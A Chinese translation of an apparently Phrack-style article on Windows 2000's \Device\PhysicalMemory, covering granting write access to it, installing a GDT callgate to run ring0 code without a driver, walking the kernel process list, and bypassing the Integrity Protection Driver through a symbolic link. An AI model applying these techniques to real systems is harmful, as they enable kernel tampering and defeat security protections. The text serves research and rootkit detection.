玩转Windows /dev/(k)mem

类别:编程语言 点击:0 评论:0 推荐:
1、介绍

2、介绍WINDOWS对象
  2.1 它们是什么
  2.2 它们的结构
  2.3 对象操作

3、介绍 \Device\PhysicalMemory
  3.1 对象
  3.2 需要写权限?

4、玩 \Device\PhysicalMemory
  4.1 读/写内存
  4.2 什么是Callgate
  4.3 不用驱动运行ring0代码
  4.4 深入到进程表
  4.5 Bonus Track

5、代码示例
  5.1 kmem.h
  5.2 chmod_mem.c
  5.3 winkdump.c
  5.2 winkps.c
  5.4 fun_with_ipd.c

6、结论

7、参考



--[ 1   介绍

    本文介绍Windows /dev/kmem,我的研究是在Windows 2000 professional上实施的,这意味着本文中的
多数代码都可以在windows 2000版本上运行,稍经改动,也可以运行在XP上。很明显Windows 9x/Me不会支持,
因为它们的核心结构并不相同。


--[ 2   介绍Windows对象

    Windows2000使用对象模型来提供非常简单的方式操作多数基本的核心元素。我们可以在本节看看这些对
象和怎么去操作它们。

----[ 2.1 What are they?

    按照微软的说法,设计对象管理器只要来达到下面这些目的:
    * 使用命名对象方便识别
    * 支持POSIX子系统
    * 提供方便的方法来操作系统资源
    * 提供一种装填机制来限制进程使用的资源
    * 顺应C2安全的要求。

    有27种不同的对象类型:
   * Adapter       * File             * Semaphore
   * Callback      * IoCompletion     * SymbolicLink
   * Controler     * Job              * Thread
   * Desktop       * Key              * Timer
   * Device        * Mutant           * Token
   * Directory     * Port             * Type
   * Driver        * Process          * WaitablePort
   * Event         * Profile          * WindowStation
   * EventPair     * Section          * WmiGuid

    多数这些对象从命令就能够看出它们是关于什么的了。我会解释一些模糊的名字:
    * 一个EventPair只是2个Event对象
    * Mutant也被称为互斥体(Mutex),是一种处理资源访问的同步机制
    * Port被LPC(Local Procedure Call)作Inter-Processus 通讯。
    * Semaphore是限制访问资源的计数器
    * Token (Access Token)是安全对象
    * WindowStation是桌面对象容器。

    这些对象可能类似目录树结构一样组织成:

   - \
     - ArcName                 (symbolic links to harddisk partitions)
     - NLS                     (sections ...)
     - Driver                  (installed drivers)
     - WmiGuid
     - Device                  (/dev linux like)
       - DmControl
         - RawDmVolumes
       - HarddiskDmVolumes
         - PhysicalDmVolumes
     - Windows
       - WindowStations
     - RPC Control
     - BaseNamedObjects
       - Restricted
     - ??                      (current user directory)
     - FileSystem              (information about installable files system)
     - ObjectTypes             (contains all avaible object types)
     - Security
     - Callback
     - KnownDlls               (Contains sections of most used DLL)

     "??"目录是当前用户目录,"Device"可以被看作跟LINUX上的/dev一样。你可以在Sysinternals网站上
找到这个结构。

----[ 2.2 他们的结构

    每个对象都包含两部分:对象头和对象实体。Sven B. Schreiber在"Windows 2000 Undocumented Secrets"
一书中定义了多数没公开的头部结构。我们可以来看看这些头结构。

---
from w2k_def.h:

typedef struct _OBJECT_HEADER {
/*000*/ DWORD        PointerCount;       // number of references
/*004*/ DWORD        HandleCount;        // number of open handles
/*008*/ POBJECT_TYPE ObjectType;         // pointer to object type struct
/*00C*/ BYTE         NameOffset;         // OBJECT_NAME offset
/*00D*/ BYTE         HandleDBOffset;     // OBJECT_HANDLE_DB offset
/*00E*/ BYTE         QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE         ObjectFlags;        // OB_FLAG_*
/*010*/ union
        { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/    PQUOTA_BLOCK        QuotaBlock;
/*010*/    POBJECT_CREATE_INFO ObjectCreateInfo;
        };
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;
/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;
---

    头部中的每个偏移量都是负数偏移量,因此你如果想从头结构中找到OBJECT_NAME结构,你应该这样计算:
                address = object_header_address - name_offset

    OBJECT_NAME结构允许创建者通过赋一个名字让对象对其他进程可见。
    OBJECT_HANDLE_DB结构允许核心跟踪当前谁正在使用该对象。
    OBJECT_QUOTA_CHARGES结构用来定义了进程访问对象的配额。
    OBJECT_TYPE结构存储关于对象类型的全局信息,比如:默认的安全权限,对象大小,进程使用对象的默
认配额等。

    对象绑定的安全描述符可以让核心来限制对象访问。

    每一个对象类型的内部程序都十分接近C++对象中的构造和析构:
    * dump method         -可能是为了调试目的,总为NULL
    * open method         -当对象句柄打开时被调用
    * close method        -当对象句柄关闭时被调用
    * delete method       -当对象句柄删除时被调用
    * parse method        -查询对象列表时被调用
    * security method     -读写保护的当前的对象时被调用
    * query method        -当线程查询对象名时调用
    * "ok to close"       -线程关闭句柄时调用

    对象体的结构完全依靠对象类型,在DDK中只有很少部分的对象体结构被公开。如果你对这些结构感兴
趣,你可以使用google :) 或者查看chapeaux-noirs的主页(参见[4])


--- [ 2.3 对象操作

    以用户模式的观点来看,对象操作只要是通过Windows API来执行。比如,为了访问文件对象,可以使
用 fopen()/open(),它们调用 CreateFile(). 我们转化到核心模式 (NtCreateFile())在ntoskrnl.exe
中调用IoCreateFile()。通过反编译IoCreateFile(),可以看见一些函数,比如:ObOpenObjectByName,
ObfDereferenceObject,……

    (BTW:如果用在DDK站点(参见[2])下载的win2k symbols,只能看见这些函数,用支持Windows Symbols
文件的反编译器比如IDA/kd/Softice 因为这些函数没有被导出。)

    每个函数都以Ob开头,表示同对象管理器相关。基本上,普通的开发者不必去处理这些对象,但我们要
去看看。

    对于用户模式,所有的对象管理器相关函数都可以被ntdll.dll输出,这里有一些例子:
    NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...

    有些函数在MSDN中公开了,但是多数没有。

    如果你真想理解对象的工作方法,最好看看ntoskrnl.exe中导出的以Ob开头的函数。有21个导出函数,
其中6个是公开的。

    如果你想看看其他15个的原型,去ntifs.h的主页(参见[3])或者去chapeaux-noirs站点(参见[4])。


--[ 3 - 介绍\Device\PhysicalMemory

    为了查看对象信息,我们需要一个类似微软DDK中的核心调试工具。好,让我们现在开始……


Microsoft(R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:\winnt\symbols

Loading Dump File [livekd.dmp]
Full Kernel Dump File

Kernel Version 2195 UP Free
Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0
Loaded kdextx86 extension DLL
Loaded userkdx extension DLL
Loaded dbghelp extension DLL
f1919231 eb30             jmp     f1919263
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
    
    从kd(kernel debugger)剖析基本对象告诉我们一些信息。不必解释所有内容的意义,他们中的大多数
都非常清楚只要你读了文章开头,如果没有,请"jmp dword Introduction_to_Windows_Objects"。 :)

    感兴趣的是,它是一个Section对象,清楚地表明我们要处理内存。现在我们要dump对象的头结构。
kd> dd e1001228 L 6
dd e1001228 L 6
e1001228  00000003 00000000 fd038880 12200010
e1001238  00000001 e1008bf8

details:
--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount  = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
             --> 00 : HandleDBOffset
             --> 20 : QuotaChargeOffset
             --> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor

    NameOffset存在,不要惊讶,这个对象有一个名字……,但是没有HandleDBOffset。这意味着这个对象
不跟踪分配的句柄。QuotaChargeOffset并不有意思,ObjectFlags告诉我们这个对象是永久对象,并且被核
心创建。

    到现在还没有非常有意思的东西……

    dump这个对象的名字结构,只是确信我们没有走错方向 :)。 (记住偏移量是负数)

kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218  fd038970 001c001c e1008ae8

--> fd038970 : pointer to object Directory
--> 001c001c --> 001c : UNICODE_STRING.Length
             --> 001c : UNICODE_STRING.MaximumLength
--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8
du e1008ae8
e1008ae8  "PhysicalMemory"

    现在出现有意思的部分了,安全描述符:

kd> !sd e1008bf8
!sd e1008bf8
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x44
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f
->Dacl    : ->Ace[0]: ->SID: S-1-5-18

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

    总之,这意味着\Device\PhysicalMemory对象有下面的权限:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,
             Query State, Modify State
user Administrator: Query Data, Query State

    基本上,管理员用户没有权限写,但是SYSTEM可以,这实际上意味着管理员也可以做到!

    一定注意到实际上这不象/dev/kmem!!在LINUX中/dev/kmem映射虚拟内存,\Device\PhysicalMemory
映射物理内存,本文更确切的标题应该是"Playing with Windows /dev/mem"因为/dev/mem映射物理内存,
但/dev/kmem听起来更熟悉些。:)

    据我所知,在我写这篇文章的时候,Section对象体结构还没有解剖开,因此我们还不能分析它的结构。


----[ 3.2 需要“写”权限?

    好,我们是用户administrator,并且打算玩玩感兴趣的对象,该怎么做呢?正如多数Windows管理员
所知,可以用schedule服务运行任何进程作为SYSTEM用户。如果你想确信你可以,只要启动schedule用
“net start schedule”并且去打开一个任务执行regedit.exe

c:\>at <when> /interactive regedit.exe
    
    之后可以试试看看SAM注册表,如果能查看,那么你SYSTEM用户,如果不能,你就仍旧是administrator
因为只有用户SYSTEM才拥有读的权力。

    好,如果我们是administrator用户,但如果我们允许任何人写\Device\PhysicalMemory会发生什么
呢?(当然是为了学习的目的)

    我们只要给这个对象添加另一个ACL,就可以了。按照下面的步骤:

    1、打开\Device\PhysicalMemory句柄 (NtOpenSection)
    2、找到它的安全描述符 (GetSecurityInfo)
    3、在当前ACL中添加Read/Write授权 (SetentriesInAcl)
    4、更新安全描述符 (SetSecurityInfo)
    5、关闭先前打开的句柄

    可以参考示例代码:chmod_mem.c

    当运行了chmod_mem.exe,我们再一次dump\Device\PhysicalMemory的安全描述符。

kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
kd> dd e1001228+0x14 L1
dd e1001228+0x14 L1
e100123c  e226e018
kd> !sd e226e018
!sd e226e018
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x68
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x24
->Dacl    : ->Ace[0]: ->Mask : 0x00000002
->Dacl    : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x000f001f
->Dacl    : ->Ace[1]: ->SID: S-1-5-18

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x0002000d
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

    新的ACE(access-control entry)是Ace[0],拥有0x00000002权限(SECTION_MAP_WRITE)。需要更多
信息,可以查看MSDN中的Security win32 API [9]


--[ 4 - 玩转\Device\PhysicalMemory

    为什么要来处理\Device\PhysicalMemory?我可以说用来读、写、修补内存。这已经足够了。 :)


----[ 4.1 读写内存

    我们开始吧……

    为了读写\Device\PhysicalMemory,必须:

    1、打开对象句柄 (NtOpenSection)
    2、转化虚拟内存地址为物理地址
    3、映射section到物理空间 (NtMapViewOfSection)
    4、在被映射的内存中读写数据
    5、关闭section的映射 (NtUnmapViewOfSection)
    6、关闭对象句柄 (NtClose)

    现在我们的主要目的是怎么转化虚拟内存地址为物理地址。我们知道在核心模式(ring0),有一个函
数 MmGetPhysicalAddress (ntoskrnl.exe)可以做到。但是我们现在在ring3,因此必须来“模拟”这个
函数。

---
from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);
---

    PHYSICAL_ADDRESS是quad-word (64 bits)的。原本打算在文章开头分析一下汇编代码,但是它太长
了。地址转化也很普通,我只想快点进行这个题目。

    quad-word的低位被传递给eax,高位传递给edx。要转化虚拟地址到物理地址,可以有两种办法:

* case 0x80000000 <= BaseAddress < 0xA0000000:
    我们唯一要做的只是提供一个0x1FFFF000掩码虚拟地址

* case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000
    这种办法对于我们来说有点问题,因为我们并没有办法在这个范围转化地址,因为我们需要读cr3记
录或者运行非ring3可调用的汇编指令。需要更多信息,可参考Intel Software Developer's Manual
Volume 3 (see [5]).

    EliCZ告诉我,以他的经验可以猜测一个物理地址偏移掩码,保留部分的索引。掩码:0xFFFF000

    这是一个轻量级版本的MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {
   if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {
      return(BaseAddress & 0xFFFF000);
   }
   return(BaseAddress & 0x1FFFF000);
}

    对于限定地址边界为[0x80000000, 0xA0000000]主要是这情况不能更成功地猜测正确。这就是为什么
如果你想更准确最好还是调用实际上的MmGetPhysicalAddress()。我们可以在一些章节中看到怎么做的。

请参考程序:See winkdump.c

    使用winkdump之后,我意识到实际上还存在另外的问题。当转化0x877ef000以上的虚拟地址,物理地
址得到的结果是0x00000000077e0000以上,但在我的系统上根本不可能!

kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c  000077ef

    从上看出最后的物理页面定位在0x0000000077ef0000。这意味着我们只能dump一小片内存,但总之本
文的目的是为了得到更好的了解关于怎么用\Device\PhysicalMemory,而不只是做一个好的memory dumper。
虽然可dump的范围是ntoskrnl.exe 和 HAL.dll (Hardware Abstraction Layer)映射的区域,你仍然可以
做一些工具来dump系统调用表:

kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80

    0x8046ab80是系统服务表结构,象这样的:

typedef struct _SST {
   PDWORD  ServiceTable;           // array of entry points
   PDWORD  CounterTable;           // array of usage counters
   DWORD   ServiceLimit;           // number of table entries
   PBYTE   ArgumentTable;          // array of byte counts
} SST, *PSST;


C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16
*** win2k memory dumper using \Device\PhysicalMemory ***

Virtual Address       : 0x8046ab80
Allocation granularity: 65536 bytes
Offset                : 0xab80
Physical Address      : 0x0000000000460000
Mapped size           : 45056 bytes
View size             : 16 bytes

d8 04 47 80 00 00 00 00  f8 00 00 00 bc 08 47 80  | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table                : NULL
ServiceLimit                 : 248 (0xf8) syscalls
Argument table               : 0x804708bc (symbol KiArgumentTable)

    我们还没有dump248个系统调用地址,只是看了看类似这样的:

C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12
*** win2k memory dumper using \Device\PhysicalMemory ***

Virtual Address       : 0x804704d8
Allocation granularity: 65536 bytes
Offset                : 0x4d8
Physical Address      : 0x0000000000470000
Mapped size           : 4096 bytes
View size             : 12 bytes

bf b3 4a 80 6b e8 4a 80  f3 de 4b 80              | ..J.k.J...K.

* 0x804ab3bf (NtAcceptConnectPort)
* 0x804ae86b (NtAccessCheck)
* 0x804bdef3 (NtAccessCheckAndAuditAlarm)

    在下面一节,我们会理解什么是callgate,以及我们同\Device\PhysicalMemory怎么用它们去解决
刚才地址转化的问题。


----[ 4.2 什么是 callgate

    callgate是一种能让程序运行在比它实际权限更高权限下的机制。比如,ring3的程序可以去执行
ring0代码。

    要创建一个callgate,必须指定:
    1) 需要代码执行在什么ring等级
    2) 当跳转到ring0时会被执行的函数地址
    3) 传递给函数的参数

    当callgate被访问的时候,处理器首先进行权限检查,保存当前的SS,ESP,CS,EIP寄存器,然后
加载segment selector和新的堆栈指针(ring0堆栈),从TSS到SS,EIP寄存器。这个指针就可以指到新
的ring0堆栈。SS和ESP寄存器被PUSH到堆栈中,参数被拷贝。CS和EIP(保存的)PUSH到堆栈中去调用程
序到新的堆栈。新的segment selector被加载用来处理从callgate被加载到CS和EIP中的新的代码片段和
指令指针。最后,它跳转到在创建callgate时候指定的函数地址。

    一旦完成后,在ring0执行的函数必须清除自己的堆栈,这就是为什么我们在代码中定义函数的时候
要用_declspec(naked)(MS VC++ 6) (类似GCC中的__attribute__(stdcall))

---
from MSDN:
__declspec( naked ) declarator

    对于用naked申明的函数,编译器不会产生prolog和epilog代码。你可以用这些特性通过inline汇编
码来写自己的prolog和epilog代码。
---

    要了解关于更多关于callgate的信息,请参考Intel Software Developer's Manual Volume 1 ([5]).

    为了安装一个Callgate,可以有两种选择:手工在GDT寻找新的空余入口,用来放置我们的Callgate;
或者用ntoskrnl.exe中的未公开函数,但是这些函数只能在ring0访问。由于我们并不在ring0,所以没有
太多的用处,但我还是简要地说明一下:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray,
                                    USHORT nSelectors);
NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray,
                                   USHORT nSelectors);
NTSTATUS KeI386SetGdtSelector(USHORT Selector,
                              PVOID Descriptor);

    从它们的名字就可以知道其作用了。:) 因此,如果你打算安装一个callgate,首先使用
KeI386AllocateGdtSelectors() 分配一个GDT Selector, 然后通过KeI386SetGdtSelector 来设置。完成后,
通过KeI386ReleaseGdtSelectors来释放。

    这还是很有意思,但是不符合我们的需要。因此在ring3执行代码的时候需要设置一个GDT Selector。
这接近\Device\PhysicalMemory了。在下一节,我会解释怎么用\Device\PhysicalMemory来安装callgate.


----[ 4.3 不用驱动运行ring0代码

    第一个问题,“为什么运行ring0代码不需要用设备驱动?”

优点:
    * 不需要向SCM注册服务
    * 秘密代码 :)

缺点:
    * 代码不能跟设备驱动那样稳定
    * 需要添加写权限到\Device\PhysicalMemory

    因此要紧记,当通过\Device\PhysicalMemory运行ring0代码的时候,你会遇到很多困难的。

    现在我们可以写内存并且我们知道我们可以用callgate来运行ring0,那么还等什么呢?

    首先,我们需要知道section的什么部分映射去读GDT表。这并不是问题,因为我们能访问全局的描述
符表记录通过sgdt编译指令。

typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;
_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

    我们转化虚拟地址从BaseLow/BaseHigh到物理地址,然后我们隐射GDT表的基地址。我们很幸运,即
便GDT表地址并不在我们“想象”的范围内,它也能正确被转化 (99%的可能)

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle,
                   ProcessHandle,
                   BaseAddress,       // pointer to mapped memory
                   0L,
                   gGdt.LimitLow,     // size to map
                   &PhysicalAddress,
                   &ViewSize,         // pointer to mapped size
                   ViewShare,
                   0,                 // allocation type
                   PAGE_READWRITE);   // protection

    最后我们循环映射的地址去找到一个空闲的selector, 通过查看Callgate描述符结构中的"Present"
标记。

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;    // low part of the function address
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4; // segment or gate type
   UCHAR  app_system  :1; // segment descriptor (0) or system segment (1)
   UCHAR  dpl         :2; // specify which privilege level can call it
   UCHAR  present     :1;
   USHORT offset_16_31;   // high part of the function address
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

    offset_0_15 和 offset_16_31正好是函数地址的低位 和 高位。selector可以是下面所列的一个:

--- from ntddk.h
#define KGDT_NULL       0
#define KGDT_R0_CODE    8   // <-- what we need (ring0 code)
#define KGDT_R0_DATA    16
#define KGDT_R3_CODE    24
#define KGDT_R3_DATA    32
#define KGDT_TSS        40
#define KGDT_R0_PCR     48
#define KGDT_R3_TEB     56
#define KGDT_VDM_TILE   64
#define KGDT_LDT        72
#define KGDT_DF_TSS     80
#define KGDT_NMI_TSS    88
---

    一旦callgate被安装,就还有两步去得到最高的ring0权力:编写我们callgate调用的程序和调用
callgate。

    正如在4.2中所介绍,我们需要编写一个函数,并且有ring0的prolog / epilog,而且我们需要自己
清除堆栈。看看下面的示例代码:

void __declspec(naked) Ring0Func() { // our nude function :]
   // ring0 prolog
   _asm {
      pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
      pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
      cli    // disable interrupt
   }
  
   // execute your ring0 code here ...
  
   // ring0 epilog
   _asm {
      popfd // restore registers pushed by pushfd
      popad // restore registers pushed by pushad
      retf  // you may retf <sizeof arguments> if you pass arguments
   }
}

    推送所有的寄存器到堆栈中可以让我们在ring0代码执行的时候保存下所有的寄存器。

    还剩一步,调用callgate……

    一个基本的调用不适用与这种定位于ring0而实际在ring3的callgate程序。我们需要进行"far call"
(inter-privilege level call), 因此为了调用callgate,必须这样做:

short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
callgate is used according to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

    这个时候,我们可以调用自己的callgate通过inline汇编。

_asm {
   push arg1
   ...
   push argN
   call fword ptr [farcall]
}

    我忘记提醒了,callgate函数中,farcall的第一个参数定位在[ebp+0Ch]。


----[ 4.4 深入进程列表

    现在我们可以去看看怎么用最低的等级去列举核心的进程。这个目的就是为了在低等级下创建一个
核心进程枚举程序,可以用来查看被rootkit隐藏的进程 (修改过taskmgr.exe,系统调用hook等)

    - Process32First/Process32Next, 最简单的公开途径(基态)
    - 使用Class 5的NtQuerySystemInformation,Native API。虽然没有被公开,但是网上有很多例
子(level -1)
    - 用ExpGetProcessInformation,它实际是被NtQuerySystemInformation所调用的(level -2)
    - 读取双向链表PsActiveProcessHead (Level -3) :p

    现在我们已经足够深入了。这个双向链表看起来象这样:

APL (f): ActiveProcessLinks.FLink
APL (b): ActiveProcessLinks.BLink

        process1          process2          process3          processN
0x000 |----------|      |----------|      |----------|
      | EPROCESS |      | EPROCESS |      | EPROCESS |
      |   ...    |      |   ...    |      |   ...    |
0x0A0 |  APL (f) |----->|  APL (f) |----->|  APL (f) |-----> ...
0x0A4 |  APL (b) | \-<--|  APL (b) | \-<--|  APL (b) | \-<-- ...
      |   ...    |      |   ...    |      |   ...    |
      |----------|      |----------|      |----------|

    正如你所见(也许我的示意图画得不好),ActiveProcessLinks结构的next/prev指针不是_EPROCESS
结构指针。它们指向的是另一个LIST_ENTRY结构。这意味着如果我们要得到_EPROCESS结构地址,必须调
节指针。

    (请看例程中kmem.h定义的_EPROCESS结构)

    LIST_ENTRY ActiveProcessLinks位于_EPROCESS结构的偏移0x0A0:
--> Flink = 0x0A0
--> Blink = 0x0A4

    因此,我们可以创建一些宏供以后使用:

#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS
#define TO_PID(_a) ((char *) _a - 0x4)       // Flink to UniqueProcessId
#define TO_PNAME(_a) ((char *) _a + 0x15C)   // Flink to ImageFileName

    LIST_ENTRY链表的头是PsActiveProcessHead。可以用kd得到它的地址:

kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180

    只需要知道一件事情。这个链表改变非常的快,你可以在读之前锁定它。下面的程序是用汇编来读
ExpGetProcessInformation:

   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExAcquireFastMutex@4
   [...]
   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExReleaseFastMutex@4

    ExAcquireFastMutex 和 ExReleaseFastMutex被定义为_fastcall,因此参数被反向顺序压栈
(exc,edx,……)。它们在HAL.dll输出。BTW,我没有在winkps.c中锁定。 :)

    首先我们安装一个callgate来执行ring0函数 (MmGetPhysicalAddress and
ExAcquireFastMutex/ExReleaseFastMutex) ,然后我们枚举进程,最后移除callgate。

    请看winkps.c

    你在例程中所见,安装callgate是简单的一步。困难的部分是读LIST_ENTRY结构。这有点点奇怪,
因为读一个链表不应该象假定的那么困难,但是要清楚的是,我们在处理物理内存。

    首先要避免使用太多的callgate,要尽可能少用。记住,在ring3运行ring0代码不是“好事”。在
线程执行的分配级就会发生问题,第二,你的线程(我认为)会有比设备驱动更低的优先权,即使你使
用SetThreadPriority()。

    调度程序基于两件事情进行调度,进程的基本优先权和当前优先权,当你用win32 API SetThreadPriority()
修改线程的优先权,当前优先权被改变,但是它只是相对于基本优先权而言的。在ring3,没有办法去
改变进程的基本优先权。

    为了不去影射进程所有的section,我只在需要的时侯映射1mb的section。我认为这是最好的办法,
因为多数的EPROCESS结构被定位在0xfce***** 到 0xfcf*****范围内。

C:\coding\phrack\winkps\Release>winkps
*** win2k process lister ***

Allocation granularity: 65536 bytes
MmGetPhysicalAddress   : 0x804374e0
virtual address of GDT : 0x80036000
physical address of GDT: 0x0000000000036000
Allocated segment      : 3fb
mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)
mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)
+ 8     System
mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)
+ 136   smss.exe
+ 160   csrss.exe
+ 156   winlogon.exe
+ 208   services.exe
+ 220   lsass.exe
+ 420   regsvc.exe
+ 436   svchost.exe
+ 480   svchost.exe
+ 524   WinMgmt.exe
mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)
+ 656   Explorer.exe
+ 764   OSA.EXE
+ 660   mdm.exe
+ 752   cmd.exe
+ 532   msdev.exe
+ 604   ssh.exe
+ 704   Livekd.exe
+ 716   i386kd.exe
+ 448   uedit32.exe
+ 260   winkps.exe

    3 sections mapping + 1 来选择第一个进程队列看起来还不错。我会在winkps.c中仔细描述,但
最好还是花时间去读代码。

winkps.c的流程

  - GetSystemInfo()
    先分配系统的间隔 (用于计算地址转化的偏移)  

  - LoadLibrary()
    取得ntoskrnl.exe中的MmGetPhysicalAddress地址。这也可以通过分解PE头做到。

  - NtOpenSection
    r/w打开\Device\PhysicalMemory

  - InstallCallgate()
    映射section来安装和删除callgate,并且用第二个参数作为Callgate函数来安装。

  - DisplayProcess()
    主循环。通过异常处理捕获错误。我这样做是为了尝试清除Callgate即使发生类似越界访问的错
误(错误的映射就会发生)

  - UninstallCallgate()
    删除Callgate,取消映射

  - NtClose()
    简单地关闭句柄 :)

    现在,你最好读代码了,并且尝试重写winkdump.c,用支持callgate更好的地址转化。 :>


----[ 4.5 Bonus Track

    我能知道的是,现在唯一的产品来限制\Device\PhysicalMemory访问的是"Integrity Protection
Driver (IPD)" Pedestal Software (see [6]).

---
from README:
    The IPD forbids any process from opening \Device\PhysicalMemory.
---

    呵呵,用ipd,我们也要去接触\Device\PhysicalMemory, :) 我不知道这个产品是否有名,但是无
论如何,我都要绕过它的保护。为了限制访问\Device\PhysicalMemory, IPD hook了ZwOpenSection(),
并且检查是否Section没有通过调用\Device\PhysicalMemory来被打开。

---
from h_mem.c
   if (restrictEnabled()) {
      if (ObjectAttributes && ObjectAttributes->ObjectName &&
          ObjectAttributes->ObjectName->Length>0) {
          if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
                       L"\\Device\\PhysicaMemory")==0) {
             WCHAR buf[200];
             swprintf(buf,
                      L"Blocking device/PhysicalMemory access,
                      procid=0x%x\n", PsGetCurrentProcessId());
             debugOutput(buf);
             return STATUS_ACCESS_DENIED;
          }
       }
    }
---

    _wcsicmp()提供了两个Unicode buffer的小写比较,因此,我们想办法用其他的名字打开对象。在
第一节中,我们已经看见有symbolic link对象类型,因此,如果我们可以用symbolic link对象连接到
\Device\PhysicalMemory,那不就很好了?

    通过查看ntdll.dll的导出表,你可以找到一个叫"NtCreateSymbolicLinkObject"的函数,跟其他很
多有意思的东西一样,它也没有被公开。它的原型类似:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                                    ACCESS_MASK DesiredAccess,
                                    POBJECT_ATTRIBUTES ObAttributes,
                                    PUNICODE_STRING ObName);

